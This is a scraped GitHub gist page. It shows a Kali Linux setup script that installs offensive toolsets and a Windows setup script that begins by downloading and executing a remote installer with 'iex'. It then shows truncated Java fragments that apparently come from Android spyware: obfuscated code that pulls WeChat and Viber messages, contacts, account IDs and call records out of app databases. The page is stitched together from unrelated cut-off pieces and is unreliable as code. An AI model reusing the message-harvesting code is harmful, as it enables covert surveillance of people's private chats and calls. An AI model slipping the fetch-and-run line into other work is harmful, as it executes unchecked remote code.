Skip to content

Instantly share code, notes, and snippets.

View peterclemenko's full-sized avatar

Peter Clemenko peterclemenko

View GitHub Profile
@peterclemenko
peterclemenko / kalisetup.sh
Last active September 18, 2024 05:12
kali setup
#!/bin/sh
sudo npm install -g @microsoft/inshellisense
is init bash >> ~/.bashrc
sudo apt-get update
sudo apt-get dist-upgrade
sudo apt-get install kali-tools-gpu kali-tools-hardware kali-tools-crypto-stego kali-tools-fuzzing kali-tools-802-11 kali-tools-bluetooth kali-tools-rfid ali-tools-sdr kali-tools-voip kali-tools-windows-resources kali-linux-labs kali-tools-information-gathering kali-tools-vulnerability kali-tools-web kali-tools-database kali-tools-passwords kali-tools-wireless kali-tools-reverse-engineering kali-tools-exploitation kali-tools-social-engineering kali-tools-sniffing-spoofing kali-tools-post-exploitation kali-tools-forensics kali-tools-reporting
@peterclemenko
peterclemenko / setup.ps1
Last active December 30, 2024 06:11
w11 setup
Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
choco upgrade all -y
choco install keepass -y
choco install keepass-plugin-keeagent -y
choco install ghidra -y
choco install eclipse-java-oxygen -y
choco install packer -y
choco install vagrant -y
choco install paint.net -y
winget install -e --id OpenJS.NodeJS
private ChatGroups getChatGroups(GenericSqliteHelper helper) {
// SQLiteDatabase db = helper.getReadableDatabase();
final ChatGroups groups = new ChatGroups();
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
String key = cursor.getString(0);
String mids = cursor.getString(2);
String names = cursor.getString(3);
private void setMyAccount(GenericSqliteHelper helper) {
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
int id = cursor.getInt(0);
if (id == 2) {
myId = cursor.getString(2);
} else if (id == 4) {
private void saveWechatContacts(GenericSqliteHelper helper) {
String[] projection = new String[] { M.e("username"), M.e("nickname")};
boolean tosave = false;
RecordVisitor visitor = new RecordVisitor(projection, M.e("nickname not null ")) {
@Override
public long cursor(Cursor cursor) {
String username = cursor.getString(0);
// select messages._id,chat_list.key_remote_jid,key_from_me,data from
// chat_list,messages where chat_list.key_remote_jid =
// messages.key_remote_jid
private long fetchMessages(GenericSqliteHelper helper, final ChatGroups groups, long lastLine) {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String sqlquery = M.e("select m.createTime, m.talker, m.isSend, m.content, c.nickname from message as m join rcontact as c on m.talker=c.username where m.type = 1 and createTime > ? order by createTime");
RecordVisitor visitor = new RecordVisitor() {
// select messages._id,chat_list.key_remote_jid,key_from_me,data from
// chat_list,messages where chat_list.key_remote_jid =
// messages.key_remote_jid
/**
* Apre msgstore.db, estrae le conversazioni. Per ogni conversazione legge i
* messaggi relativi
*
* Se wechat non puo' scrivere nel db cifrato, switcha su quello in chiaro
* translation:
public class ChatViberGroups extends ChatGroups {
}
public static boolean getCurrentCall(GenericSqliteHelper helper, final CallInfo callInfo) {
String sqlQuery = M.e("select _id,number,date,type from calls order by _id desc limit 1");
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
callInfo.id = cursor.getInt(0);
callInfo.peer = cursor.getString(1);
private void updateMarkupViber(long newLastId, boolean serialize) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupViber), +lastId: " + newLastId);
}
try {
markup.writeMarkupSerializable(newLastId);
Long verify = markup.unserialize(new Long(0));